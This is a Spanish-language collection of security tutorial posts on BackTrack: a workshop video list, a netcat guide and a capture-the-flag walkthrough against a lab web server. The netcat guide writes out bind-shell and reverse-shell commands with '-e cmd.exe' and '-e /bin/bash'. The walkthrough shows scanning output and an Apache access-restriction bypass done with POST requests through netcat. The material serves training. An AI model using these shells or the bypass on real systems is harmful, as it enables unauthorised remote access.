Una de ellas fue el evento que cada año lidera incansablemente Diego A Salazar: Securinf; en este evento participé con dos conferencias: Análisis de Malware sobre windows y un WorkShop de BackTrack.

El objetivo de este post es publicar los video tutoriales que presenté ese día. Aunque son muy cortos y básicos pueden servir para quienes recién inician en este campo de la seguridad mediante el uso de la distribución BackTrack. También debe tenerse en cuenta que estos los realicé exclusivamente para un workshop, por lo tanto no tienen audio, pues están pensados en ir mostrando la herramienta e ir explicando su funcionamiento y configuración en vivo. Haré una recopilación de lo publicado hasta el momento sobre los laboratorios de BackTrack y luego los enlaces de descarga con una pequeña descripción de los videos presentados en la conferencia.

Video Tutorial BackTrack, Introducción y Conceptos Básicos

Video Tutorial BackTrack: Booteo, Interfaz Gráfica y Directorios

Video Tutorial: Instalación de BackTrack 4 (Pre-Final)

Video Tutorial: Configuración Básica de Red en BackTrack 4 (Pre-Final)

Video Tutorial: Instalación de VMWare WorkStation en BackTrack 4 (Pre-Final)

——————————————————————————————————————————————————————————–

Videos del WorkShop de Backtrack:

01- Booteo BackTrack (Creación y configuración de una máquina virtual en VirtualBox – Booteo inicial de BackTrack)

02 – Ejecución inicial de BackTrack (Inicio del servicio de red, Inicio del servidor X, Cambio de contraseña, Rápido recorrido por el menú K)

03 – Recorrido por los directorios de herramientas contenidas en BackTrack -Web, Wireless, Passwords, Cisco, etc. Ejecución de servicios disponibles en BackTrack – HTTP, VNC, TFPT, etc.

04 – Escaneo e identificación  de puertos y servicios con Nmap en BackTrack.

05 – Escaneo automatizado de nuestra red con la herramienta AutoScan en BackTrack.

06 – Information Gathering/Footprinting con Maltego en BackTrack.

07 – Introducción al análisis básico de ejecutables con OllyDbg en BackTrack.

08 – Identificación de cifrados utilizados en la web con BackTrack.

09 – Escaneo e identificación de directorios y archivos sensibles en servidores web con DirBuster en BackTrack.

10 – Identificación del servidor Web con netcat y httprint.

11 – Escaneo e identificación de directorios y archivos sensibles en servidores Web con Nikto (BackTrack) y Wikto (Windows).

12 – Spidering con Wget en BackTrack.

13 – Xhydra y John The Ripper en BackTrack.

El siguiente Cheat Sheet proporciona diversas instrucciones de ejemplo sobre el uso de la herramienta Netcat sobre diferentes Sistemas Operativos.

Contenido:

• Fundamental Netcat Cliente
• Netcat Command Flags
• Netcat Relays on Windows
• File Transfer
• TCP Port Scanner
• TCP Banner Graber
• Backdoor Shells
• Netcat Relays on Linux

Descargar Cheat Sheet de Netcat PDF (Password: www.dragonjar.org)

Este Cheat Sheet fué desarrollado y publicado por la SANS.

Actualmente existen multitud de vendedores y de versiones de servidores web en el mercado. Saber el tipo exacto de servidor que estás comprobando ayuda considerablemente en el proceso de testing, y puede cambiar el curso de las pruebas. Esta información puede inferirse mediante el envío de comandos específicos al servidor web y posteriormente analizar su respuesta, ya que cada versión del software de servidor web puede responder de forma diferente a un mismo comando. Sabiendo la respuesta de cada tipo de servidor web ante comandos específicos y almacenando dicha información en una base de datos de firmas web, la persona a cargo de las pruebas de intrusión, puede enviar esos comandos al servidor web, analizar la respuesta y compararla a la base de datos de firmas conocidas.

La forma más básica y sencilla de identificar un servidor Web es comprobar el campo Server en la cabecera de respuesta HTTP.

Encontrar que aplicaciones específicas se encuentran instaladas en un servidor web es un elemento esencial en un test de vulnerabilidades de una aplicación web. Muchas aplicaciones tienen vulnerabilidades y estrategias de ataque conocidas, que pueden ser explotadas para conseguir control remoto o explotación de los datos de la aplicación. Además, muchas aplicaciones están a menudo mal configuradas o sin actualizar, debido a la impresión de que solo se usan “internamente”, y por tanto no representan ninguna amenaza.

Netcat:

Netcat (a menudo referida como la navaja multiusos de los hackers) es una herramienta de red bajo licencia GPL (en la versión de GNU) disponible para sistemas UNIX, Microsoft y Apple que permite a través de intérprete de comandos y con una sintaxis muy sencilla abrir puertos TCP/UDP en un HOST (quedando netcat a la escucha), asociar una shell a un puerto en concreto (para conectarse por ejemplo a MS-DOS o al intérprete bash de Linux remotamente) y forzar conexiones UDP/TCP (útil por ejemplo para realizar rastreos de puertos o realizar transferencias de archivos bit a bit entre dos equipos). (Más información…)

Httprint:

Httprint, de Net-Square, es un programa gratuito (no GPL) que utiliza técnicas de fuzzing para dar una estimación de la versión de servidor web que se ejecuta en un puerto. Realiza un cálculo con determinados tests pra crear una huella(fingerprint) del servidor y compararla con una base de datos de los mismos. (Más información…)

Netcraft:

Netcraft es una herramienta online para saber información sobre el host de una determinada pagina. (servidor web, nameserver, registrador, disponibilidad) (Más información…)

Live HTTP headers:

Esta extensión para el navegador Mozilla Firefox tiene una funcionalidad muy concreta: mostrar las cabeceras HT que se cargan al navegar por Internet, y añadir además diversos datos extra interesantes. (Más información…)

El siguiente video tutorial muestra algunos métodos utilizados para determinar la firma digital de aplicaciones web. Caso concreto el tipo y versión del servidor web haciendo uso de Netcat, Httprint, Live HTTP headers y Netcraft.

Link:

Descargar video tutorial de pruebas de firma digital de aplicaciones Web. (Password: www.dragonjar.org)

Sus capacidades hacen que sea a menudo usada como una herramienta para abrir puertas traseras una vez invadido un sistema y obtenido privilegios de administrador o root del equipo. También resulta extremadamente útil a efectos de depuración para aplicaciones de red.

Ya en desuso, originariamente se trataba de una potentísima herramienta de red para administradores no habiéndose descubierto hasta la fecha el total de los comandos que se utilizaban, los cuales permanecen secretos por las particularidades de esta herramienta. (Más información – Web Oficial)

En muchas ocasiones y por diferentes razones se hace necesario realizar conexiones a puertos TCP y UDP.

Algunas de estas razones pueden ser:

• Cuando necesitamos comprobar la disponibilidad de un puerto (si este se encuentra abierto o cerrado).
• Cuando queremos leer el banner de dicho puerto (servicio gestionado por el mismo).
• Cuando necesitamos conectarnos a un servicio de red de manera manual.

El modo de uso de netcat ya ha sido tratado de manera superficial en algunos laboratorios. Trataremos entonces de profundizar un poco más en este laboratorio sobre las posibilidades de la herramienta, aunque tampoco será la “Guía definitiva de Netcat”, si nos acercará un poco más a la misma.

Algunas de las publicaciones donde he hecho referencia sobre netcat son las siguientes:

Laboratorios: Hacking – Técnicas y contramedidas – Identificación de Banner’s (Banderas) I
Laboratorios: Hacking – Técnicas y contramedidas – Scanning II
Solución del HackTaller 01 DragonJAR (II de VIII)
Solución del HackTaller 01 DragonJAR (III de VIII)

Ayudas y Opciones de Comandos

Nota: Netcat es una herramienta que viene incluída y lista para ser usada desde la distribución Linux BackTrack, la cual es el objeto de estudio de esta serie de prácticas.

Uno de los primero acercamientos a netcat que debe realizar cada investigador es la exploración del propio sistema de ayudas y opciones de comandos que incluye la herramienta. Para ello bastará con ejecutar la siguiente sintaxis desde la línea de comandos:

nc -h

Para lo cual obtendremos el siguiente resultado:

nc -h
[v1.10]
connect to somewhere: nc [-options] hostname port[s] [ports] …
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-e prog program to exec after connect [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose]
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive]

Identificación de Banners e información

Para intentar una conexión y obtener información de un sistema y puerto específico la sintaxis es la siguiente:

nc -vv IP/HostName Puerto

Una vez visualizada la información requerida procedemos a detener la ejecución con la combinación de teclas Ctrl + C.

Consultando el Servidor Web que gestiona un sistema Objetivo

Se trata de realizar una conexión al puerto comunmente utilizado para servir páginas Web (80), luego se envía una petición HTTP / HEAD para obtener y leer el banner del servidor HTTP. Para ello ejecutaremos la siguiente sintaxis:

nc -vv IP/HostName Puerto

Netcat a la escucha sobre puertos TCP/UDP y Chat

Establecer a Netcat en modo “listen” (escucha) en un puerto TCP / UDP es una de las tareas más implementadas con la herramienta, pues permite depurar clientes y/o aplicaciones de red, envío/recepción de datos, ejecución de terminales, etc.

Vamos como establecer a Netcat en modo “listen” (escucha) y como podemos implementar sobre el mismo un pequeño pero útil sistema de Chat entre dos equipos.

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

La máquina con Linux BackTrack será el sistema donde se establezca Netcat en modo “listen”, veamos:

nc -lvv 12345

El cliente será el sistema Windows

Transferencia de Archivos con Netcat

Otra de las bondades que permite realizar Netcat es la posibilidad de habilitar una conexión para transferir archivos entre dos equipos. Esto permitirá entonces enviar/recibir archivos de texto y/o binarios entre ellos.

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

Debemos ejecutar la siguiente sintaxis:

nc -lvp 12345 > salida.txt

El equipo server (Linux BackTrack) estará habilitado en modo listen (escucha) y redireccionando los datos recibidos a un archivo de salida, veamos:

El equipo cliente (Windows) establecerá la conexión con BackTrack (al puerto 12345) y enviará el archivo.
para ello primero crearemos el archivo de texto a enviar. Veamos:

Así se vería desde el servidor BackTrack cuando recibe los datos

Luego procedemos a comprobar la información contenida en el envío

Administración Remota con Netcat (Shell)

Sin lugar a dudas esta es una de las mejores utilidades que se le pueda dar a Netcat, pues como hemos visto esta grandiosa herramienta permite redireccionar instrucciones y comandos. Esto significa que podemos tomar por ejemplo un archivo .exe y redirigir la entrada/salida y mensajes de error a los puertos TCP/UDP que establezcamos.

Veamos en la práctica como podemos redirigir el ejecutable CMD.EXE a un cliente de red en un puerto local. De esta manera ofreceremos una línea de comandos a cualquier usuario que establezca una conexión a nuestro equipo y puerto establecido.

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

Windows hará el papel de servidor, quién ofrecerá una línea de comandos a los clientes que establezcan una conexión con él.

nc -lvp 12345 -e cmd.exe

Ahora desde BackTrack, quién actua como cliente, establecerá una conexión con Windows. Veamos:

nc -v 10.30.3.116 12345

Shell Inversa con Netcat

A diferencia del escenario anterior y como en muchas ocasiones sucede, no se puede controlar y administrar las salidas/entradas o disposición de puertos. Para ello Netcat nos ofrece otra solución más en su repertorio. Se trata entonces de establacer a Netcat en modo “listen” y el posterior envío/recepción de comandos, entre ellos la ejecución de una terminal. Veamos:

Para ello contamos con dos máquinas (Windows/Linux)
Windows: IP 10.30.3.116
Linux: IP 10.30.3.84

En este caso el sistema Windows pretende obtener una shell del sistema Linux BackTrack, con la limitante de que BackTrack no puede en ese momento servir una shell en modo “Listen”.

Desde Windows se establece el modo Listen:

nc -lvp 12345

Ahora desde Backtrack se establece la conexión hacia Windows y la instrucción que este deberá servir al mismo:

nc -v 10.30.3.116 12345 -e /bin/bash

Enviemos una instrucción (comando) desde Windows para que el resultado pueda ser visualizado desde el mismo.

Estos son solo algunos de los muchos usos que se le pueden dar a Netcat, por ello es que se le conoce como la navaja suiza de las redes .

A partir de este momento queda abierto el espacio para que los interesados profundicen en el uso de la herramienta.

Recomiento la lectura de estas páginas web, donde se detallan algunos usos e información de la herramienta:

Crysol
Netcat en la Wikipedia
Web Oficial de Netcat

1. Imágen ISO / LiveCD USB / Appliance de BackTrack
2. Software de virtualización (VMWare WorkStation, VMWare Player, Qemu, Virtual BOX, MOKA5, etc.)
3. PC de mediana capacidad.
4. Conexión a internet (algunos ejercicios, referencias)

Contenido temático:

1. Conceptos básicos de BackTrack
2. Servicios básicos (DHCP, IP, Apache, SSHD, Tftp, VNC)
3. Entorno básico Bash
4. NetCat
5. Wireshark
6. Nmap
7. Técnicas de recolección de información
8. Recursos Web
9. Reconocimiento DNS
10. Reconocimiento SNMP
11. Reconocimiento SMTP
12. Recolección de información Microsoft Netbios
13. Escaneo de puertos
14. ARP Spoofing
15. Explotación de Buffer overflow en Windows
16. Fuzzing
17. Trabajando con Exploits
18. Transferencia de archivos
19. Frameworks de explotación
20. Ataques del lado del cliente
21. Redirección
22. Ataques a contraseñas
23. Vectores de ataques a aplicaciones Web
24. Troyanos
25. NTFS Alternate Data Streams
26. Rootkits

Palabras clave: BackTrack, Test de Penetración, Distribución, LiveCD, scanner de puertos, Vulnerabilidades, exploits, sniffers, SQL Injection, Troyanos, RootKits, NTFS Alternate Data Streams, Fuerza Bruta, Redirección, Fuzzing, Spoofing, NetCat, Bash, Nmap.

Este nuevo recurso estará basado en el sistema de entrenamiento ofrecido por los propios desarrolladores y colaboradores del proyecto BackTrack (Remote-Exploit) Offensive-security.com.

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 2 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org)

Herramientas necesarias:

NetCat

Palabras claves (Documentos de interés, Definiciones):

NetCat – Servidor Web – Apache – PHP – Vulnerabilidades – Tamper Data – Proxy – Paros Proxy – Perl – .HTACCESS – Peticiones

Lo primero que corresponde es analizar el comportamiento de un acceso a dicho directorio bajo unos cuantos supuestos. Cada cual lo puede hacer como más le guste, desde Mozilla con Tamper Data, con un proxy intermedio como Paros, o directamente con un nc desde la línea de comandos, aquí usaremos esta última.

> nc www.blindware.inc 80
GET /data/stats HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

> nc www.blindware.inc 80
GET /data/stats/index.html HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

> nc www.blindware.inc 80
GET /data/stats/ficherocualquiera HTTP/1.0

HTTP/1.1 302 Found
Date: Tue, 17 Jul 2007 09:56:15 GMT
Server: Apache/2.2.4 (Fedora)
Location: http://www.blindware.inc/data/error-stats.html
Content-Length: 312
Connection: close
Content-Type: text/html; charset=iso-8859-1

Primera Idea: De esta primera prueba nos debemos percatar que incluso con ficheros aleatorios, cuya probabilidad de existir en esa ruta es prácticamente 0%, nos sigue dando la misma respuesta, por tanto podemos deducir que existe un control de acceso a ese directorio por parte del propio Apache, que fuerza una redirección a la URL: http://www.blindware.inc/data/error-stats.html, o dicho de otra forma, que solicitemos el fichero que solicitemos Apache nos va a mostrar la pagina de error-stats.html

Visto esto, veámos que información da el “error-stats.html”:

Access to “/var/www/blindware/htdocs/data/stats/” Forbidden
Your access isn’t allowed to this path
HTTP METHOD RESTRICTED TO 127.0.0.1

Esta web nos devuelve una información relevante sobre una denegación de acceso a la que somos redirigidos siempre, por tanto, y como consejo general a menos que estemos muy familiarizados con Apache, lo que haremos será documentar qué motivos pueden llevar a Apache a generar un mensaje de este tipo. Para ello bien nos puede servir buscar en Google: Access Forbidden Apache. Leyendo por encima los enlaces que aparecen, encontraremos como información relevante que es un error de Apache numerado con el número 403 y que se produce bajo ciertas circunstancias:

• Solicitar un directorio que no contiene índice ( index.html ) cuando la opción INDEXES está desactivada.
• Solicitar un directorio que tiene denegado el acceso bajo todas o alguna circunstancia.

Así mismo, vemos que mediante ficheros “.htaccess” o en la propia configuración de Apache, podemos configurar una directiva denominada ErrorDocument 403 que nos redirige a una página web concreta en caso de que se produzca un error 403. Es evidente, que en nuestro escenario no estamos solicitando un directorio que no contiene índice, sino que ante cualquier fichero que solicitemos, nos produce este resultado, por tanto, a priori, nos encontraremos en el caso en el que el directorio tiene denegado el acceso y se ha asociado una cláusula ErrorDocument a él.

Intentemos emular por tanto el escenario, y para ello qué mejor que dirigirse al howto para control de accesos que dispone Apache y ver qué habría que introducir en su configuración para obtener un comportamiento como el que vemos en este servidor. En esta web encontraremos algún que otro ejemplo, pero uno interesante por encima del resto:

Order deny,allow
Deny from all
Allow from W.X.Y.Z

Segunda Idea: de lo anterior podemos inducir que bien una cláusula bien un fichero .htaccess dentro del directorio data/stats están limitando el acceso. Y que su estructura será parecida a la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html
Order deny,allow
Deny from all
Allow from 127.0.0.1

La primera línea es la que marca la redirección al fichero “error-stats.html” en caso de que se produzca un acceso no autorizado. Así mismo, la cláusula “Deny from all” deniega el acceso a todos los usuarios menos a los autorizados por una cláusula “Allow” que en este caso serán los provenientes de 127.0.0.1 (localhost).

Con esto hemos replicado el comportamiento del escenario del nivel, ¿qué podemos hacer ahora?. Siempre tenemos 2 opciones una vez hemos conseguido conocer la estructura y replicarla bajo nuestro total control: buscar una vulnerabilidad pública o descubrirla por nosotros mismos. Desde aquí recomendamos encarecidamente el no reinventar la rueda: las listas públicas de vulnerabilidades existen para algo y es para ser usadas. Es cierto, que no siempre las vulnerabilidades existentes, y los exploits desarrollados para ellas se adaptarán 100% a nuestras necesidades, pero con diferencia nos ahorrarán mucho trabajo. Por ello, para sobrepasar esta medida de protección recomendamos buscar en Google etiquetas como las siguientes: apache access bypass, htaccess bypass, o apache access weakness.

Estas búsquedas nos devolverán un importante número de referencias a vulnerabilidades públicas en el control de accesos por parte de Apache (R1, R2).

De la lectura de estas fuentes, podemos suponer que es posbile que exista una vulnerabilidad de configuración en el escenario propuesto para la segunda idea. ¿Cuál sería esta vulnerabilidad? Por ejemplo, una configuración como la siguiente:

ErrorDocument 403 http://www.blindware.inc/data/error-stats.html
<LIMIT GET>
Order deny,allow
Deny from all
Allow from 127.0.0.1
</LIMIT>

Para verificarlo volvemos a hacer uso de nc desde la línea de comandos.

> nc www.blindware.inc 80
OPTIONS /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:29:51 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

> nc www.blindware.inc 80
TRACE /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:30:19 GMT
Server: Apache/2.2.4 (Fedora)
Connection: close
Content-Type: message/http

TRACE /data/stats/ HTTP/1.0

> nc www.blindware.inc 80
PUT /data/stats/ HTTP/1.0

HTTP/1.1 405 Method Not Allowed
Date: Tue, 17 Jul 2007 12:30:49 GMT
Server: Apache/2.2.4 (Fedora)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 324
Connection: close
Content-Type: text/html; charset=iso-8859-1

Efectivamente, existe una configuración incorrecta. Con sólo leer las respuestas del servidor vemos cómo únicamente es filtrado el método GET, mientras que por el contrario el método OPTIONS, TRACE o PUT son correctamente procesados por Apache. ¿Cómo se puede explotar esto?.

La explotación de este fallo de seguridad depende del fichero sobre el que hagamos la petición, en caso de ser un fichero procesable por un módulo de Apache, como puede ser PHP, PERL, etc, la explotación es mucho más sencilla porque los metodos OPTIONS o PUT devolverán exactamente lo mismo que un método GET en la inmensa mayoría de las ocasiones. Sin embargo, si el fichero lo procesa directamente Apache, como es el caso de los ficheros HTML con contenido estático, el único método diferente a GET que tiene el mismo resultado es POST. Por tanto, y dado que en este caso parece que lo que estamos buscando es el fichero “index.html” debemos hacer uso del método POST.

> nc www.blindware.inc 80
POST /data/stats/ HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 17 Jul 2007 12:31:57 GMT
Server: Apache/2.2.4 (Fedora)
Last-Modified: Tue, 08 May 2007 20:46:48 GMT
ETag: “a8023-4eed-8431de00?
Accept-Ranges: bytes
Content-Length: 20205
Connection: close
Content-Type: text/html; charset=UTF-8
<html>
<head>
<title>Web Server Statistics for Blindware Inc.</title>
<meta http-equiv=”Content-Type” content=”text/html; charset=ISO-8859-1? />
<meta name=”robots” content=”noindex,nofollow” />
<title>Server Statistics for Blindware Inc.</title>(..)

Efectivamente, nos devuelve el fichero index.html de forma correcta, por tanto podemos salvarlo a un fichero y leerlo localmente con cualquier navegador, viendo entre otros los siguientes datos:

Directory Report

This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

/web/
[root directory]
/data/
/icons/
/_controlp/

En la sección destinada a directorios accedidos encontramos un directorio en el que no habíamos reparado y de nombre “_controlp/”.

Este video tutorial fué desarrollado haciendo uso del solucionario en texto número 1 publicado por SG6 Labs:

Descargar video tutorial de resolución del HackTaller 01 de la Comunidad DragonJAR (SecGame: Sauron)(password: www.dragonjar.org)

Herramientas necesarias:

NetCat
Nmap
Wikto
Wget
.Net Framework 2.0

Palabras claves (Documentos de interés, Definiciones):

Nmap – NetCat – Wikto – Wget – .Net Framework – ICMP – Clases de redes – Ping – Puertos – Subred – Escaneo – Servidor Web – Apache – PHP – Vulnerabilidades – JavaScript – HTTP – Robots.txt – Logs

En este primer nivel, que sirve como toma de contacto con el modelo de resolución, lo primero que haremos será marcar unos objetivos principales, que bien podrán servir tanto para afrontar este reto, como en general para el inicio de cualquier actividad que tenga como finalidad determinar posibles puntos de intrusión en un sistema.

Los objetivos son los siguientes:

• Conocer la estructura del sistema y de la red
• Conocer la estructura del aplicativo
• Buscar ficheros por defecto con información sensible
• Analizar la lógica del aplicativo
• Determinar los posibles puntos de intrusión
• Información sobre Red y Servicios

Vamos a comenzar delimitando los sistemas presentes en la red de clase C 192.168.200.0/24 . Para hacerlo, usamos nmap con su modificador –sP ( ICMP Ping ), aunque bien se puede dar la circunstancia de existir sistemas que no contesten a tráfico ICMP.

> nmap -sP 192.168.200.1-254

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 18:51 Hora estandar romance
Host 192.168.200.1 appears to be up.
Host www.blindware.inc (192.168.200.2) appears to be up.
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)
Nmap finished: 254 IP addresses (2 hosts up) scanned in 17.016 seconds

Por ello, una comprobación también es interesante es verificar directamente algunos puertos típicos, haciendo uso de tráfico TCP, sin usar comprobación previa por ICMP. Por ejemplo lo podemos hacer con el modificador –P0 –p 80, indicando así que no se envíe un “ping” previo, y que se compruebe el puerto 80/tcp.

En nuestro caso concreto, y dado que directamente parece que no existe ningún otro host activo en esa subred, escanearemos la IP 192.168.200.2. Podremos escanear por defecto, eliminando el modificador “-p”, algunos puertos concretos o escanearlos todos “-p 1-65535”. Un detalle importante que siempre debemos recordar es que cuando marcamos un escaneo –sS o –sT, o sin tipo, únicamente escaneamos puertos TCP, los puertos UDP deben escanearse con el modificador –sU. En nuestro caso este ha sido el resultado.

> nmap -P0 -sS -p 22,23,25,80,110,443,3306 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:02 Hora estßndar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE
22/tcp filtered ssh
23/tcp filtered telnet
25/tcp filtered smtp
80/tcp open http
110/tcp filtered pop3
443/tcp open https
3306/tcp filtered mysql
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 0.360 seconds

De esta verificación obtenemos que existen 2 puertos abiertos en ese sistema: 80 y 443, en un principio coorrespondientes a tráfico http y https. Existe otro modificador que nos puede dar más información sobre estos puertos: –sV

> nmap -sV -p 80,443 192.168.200.2

Starting Nmap 4.20 ( http://insecure.org ) at 2007-07-05 19:14 Hora estandar romance
Interesting ports on www.blindware.inc (192.168.200.2):
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.4 ((Fedora))
443/tcp open ssl OpenSSL
MAC Address: 52:54:00:12:34:55 (QEMU virtual NIC)

Nmap finished: 1 IP address (1 host up) scanned in 6.719 seconds

Llegados a este punto, podemos decir que si bien podemos seguir haciendo un uso más intensivo de herramientas de red, para nuestros propósitos hemos conseguido establecer la existencia de un sistema activo en la subred determinada, el cual cuenta con 2 puertos TCP abiertos, sobre los que ofrece servicio http y https.

Información sobre el Servidor Web

¿Cuál es nuestro segundo objetivo? Como dijimos inicialmente, familiarizarnos con toda la estructura del aplicativo web. ¿Por qué? Primero, porque en el sistema activo para la subred 192.168.200.0/24, no parecen existir otro tipo de servicios. Además de ello, debemos tener muy presente, que en la actualidad y de forma mayoritaria, la inseguridad se ha ido desplazando desde los servicios y elementos de red, a las aplicaciones web sobre el servicio http/https. Por tanto, a pesar de que pudieran existir otros servicios, sobre el aplicativo web, siempre que exista, incidiremos con especial detalle.

Una conexión directa haciendo uso de netcat, y una petición al servicio web nos muestra la siguiente información:

> nc 192.168.200.2 80
HEAD / HTTP/1.0

HTTP/1.1 200 OK
Date: Thu, 05 Jul 2007 19:20:20 GMT
Server: Apache/2.2.4 (Fedora)
X-Powered-By: PHP/5.1.6
Connection: close
Content-Type: text/html; charset=UTF-8

A todos los efectos, esto nos sirve para comprobar que se tratan de versiones actualizadas de Apache y de PHP y que por tanto, las vulnerabilidades existentes, como suele ser común, no residen en los servicios de red, sino que deberemos buscarlas dentro del aplicativo web.

Lo siguiente que debemos hacer es obtener información sobre el árbol web. Desde aquí recomendamos que el spidering ( nombre que comúnmente recibe esta técnica ) se realice sin usar aplicativos integrados en el navegador, pues algunos tienen la mala costumbre de interpretar código javascript pudiendo hacer que obviemos detalles importantes debido a la automatización del proceso. Wget o httrack son unas herramientas muy válidas para la tarea.

> wget -r http://www.blindware.inc
–19:28:15– http://www.blindware.inc/
=> `www.blindware.inc/index.html’
Resolving www.blindware.inc… 192.168.200.2
Connecting to www.blindware.inc|192.168.200.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: unspecified [text/html]

[ <=> ] 24 –.–K/s

19:28:15 (1.02 MB/s) – `www.blindware.inc/index.html’ saved [24]

Loading robots.txt; please ignore errors.
–19:28:15– http://www.blindware.inc/robots.txt
=> `www.blindware.inc/robots.txt’
Connecting to www.blindware.inc|192.168.200.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 33 [text/plain]

100%[====================================>] 33 –.–K/s

19:28:15 (1.12 MB/s) – `www.blindware.inc/robots.txt’ saved [33/33]

–19:28:15– http://www.blindware.inc/load.js
=> `www.blindware.inc/load.js’
Connecting to www.blindware.inc|192.168.200.2|:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 76 [application/x-javascript]

100%[====================================>] 76 –.–K/s

19:28:15 (2.30 MB/s) – `www.blindware.inc/load.js’ saved [76/76]

FINISHED –19:28:15–
Downloaded: 133 bytes in 3 files

Ese es el resultado inicial para http://www.blindware.inc. Si lo repetimos sobre http://intranet.blindware.inc no obtendremos nada porque nos pide autenticación, y por el momento la desconocemos. Por último, si lo llevamos a cabo sobre el servicio HTTPS, https://www.blindware.inc o https://intranet.blindware.inc obtenemos un index.html en blanco.

De esto concluimos que, al menos, se están sirviendo 3 escenarios diferentes. Uno por HTTP para www.blindware.inc, otro por HTTP para intranet.blindware.inc y por último, lo que parece uno común por HTTPS que sirve un index.html en blanco.

Vamos a verificar qué contienen los ficheros descargados:

> type index.html
script src=”load.js”>

> type load.js
// document.location.href=’data/0.html’
Document.location.href=’web/0.html’;

> type robots.txt
User-agent: *
Disallow: /data/

Como podemos comprobar desde el fichero index.html existe una llamada a un fichero con contenido javascript (load.js) el cual tiene como misión redirigir el tráfico hacia la web principal. Nos debemos percatar, que existe una línea comentada dentro de este fichero, la cual nos da información sobre una ruta diferente a la habitual data/0.html. Así mismo dentro del fichero robots.txt volvemos a encontrar una referencia a esta ruta. Si continuamos descargando contenidos desde web/0.html comprobamos que únicamente se descarga contenido estático en html.

Así que hasta el momento, y como conclusión, sabemos que existe una carpeta web/, la cual no parece contener nada reseñable, más que el contenido estático del site, y la carpeta data/, sobre la cual hablaremos más adelante.

Vulnerabilidades y Ficheros Sensibles

A continuación, debemos determinar ficheros, configuraciones, o posibles fallos conocidos en el servicio web. Para esta tarea existen numerosas aplicaciones, desde AppScan, a Nikto, o su port a Win32, Wikto. Nosotros vamos a utilizar este último, concretamente sus funciones destinadas a la exploración de contenido backend, cuya finalidad es extraer mediante una exploración por diccionario carpetas y ficheros ocultos, así como la propia utilidad Nikto, que nos escaneará la web buscando vulnerabilidades conocidas. Advertencia: El uso de herramientas automatizadas puede provocar falsos positivos, que debemos comprobar antes de emitir cualquier tipo de valoración.

Los resultados de la ejecución de Wikto son los siguientes:

BackEnd

#Directories
www.blindware.inc/
www.blindware.inc/cgi-bin/
www.blindware.inc/data/
www.blindware.inc/error/
www.blindware.inc/data/stats/
www.blindware.inc/error/include/
#Indexable
www.blindware.inc/data/
#Files
www.blindware.inc/index.php
www.blindware.inc/robots.txt

Nikto

/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
/index.php?=PHPE9568F35-D428-11d2-A769-00AA001ACF42
/index.php?=PHPE9568F34-D428-11d2-A769-00AA001ACF42
/WS_FTP.LOG

De esta información podemos obtener los siguientes datos relevantes:

• La existencia de un directorio /data/stats
• La existencia de un fichero WS_FTP.LOG
• La existencia de un fichero robots.txt
• Información sobre PHP

Un paseo por la aplicación visible, podemos hacerlo con Paros por ejemplo, nos desvela que, a priori, los que vemos es un contenido pre-generado de forma estática y cuya única entrada de datos se encuentra en el formulario contacto. Podemos analizarlo, pero no vamos a encontrar ningún comportamiento anómalo, ya que si nos damos cuenta el campo “action” de ese formulario va en blanco. Esto nos debe hacer pensar, que en caso de existir partes vulnerables, no se encuentran accesibles al público directamente.

Como información adicional decir que muchos gestores de contenido, entre ellos los más robustos, generan el contenido de forma estática desde un aplicativo en backend, haciendo que la parte visible de la aplicación carezca, casi por completo, de contenido dinámico, y de entradas por parte del usuario. Existirán por el contrario, otros aplicativos, como foros, buscadores, o secciones de prensa, cuyo contenido utilice generación dinámica. En estos casos, deberemos probar la inclusión sobre sus parámetros de código SQL, código HTML, código PHP, etc. buscando un comportamiento extraño.

Busqueda de un Punto de Intrusión

